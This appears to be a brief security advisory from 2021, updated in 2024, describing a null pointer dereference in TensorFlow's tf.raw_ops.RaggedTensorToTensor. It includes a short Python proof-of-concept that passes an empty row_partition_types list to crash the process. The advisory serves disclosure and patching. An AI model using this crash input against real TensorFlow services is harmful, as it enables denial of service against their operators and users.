August 25, 2021 (updated November 13, 2024)

Sending invalid argument for row_partition_types of tf.raw_ops.RaggedTensorToTensor API results in a null pointer dereference and undefined behavior:

import tensorflow as tf

tf.raw_ops.RaggedTensorToTensor(
shape=1,
values=10,
default_value=21,
row_partition_tensors=tf.constant([0,0,0,0]),
row_partition_types=[])
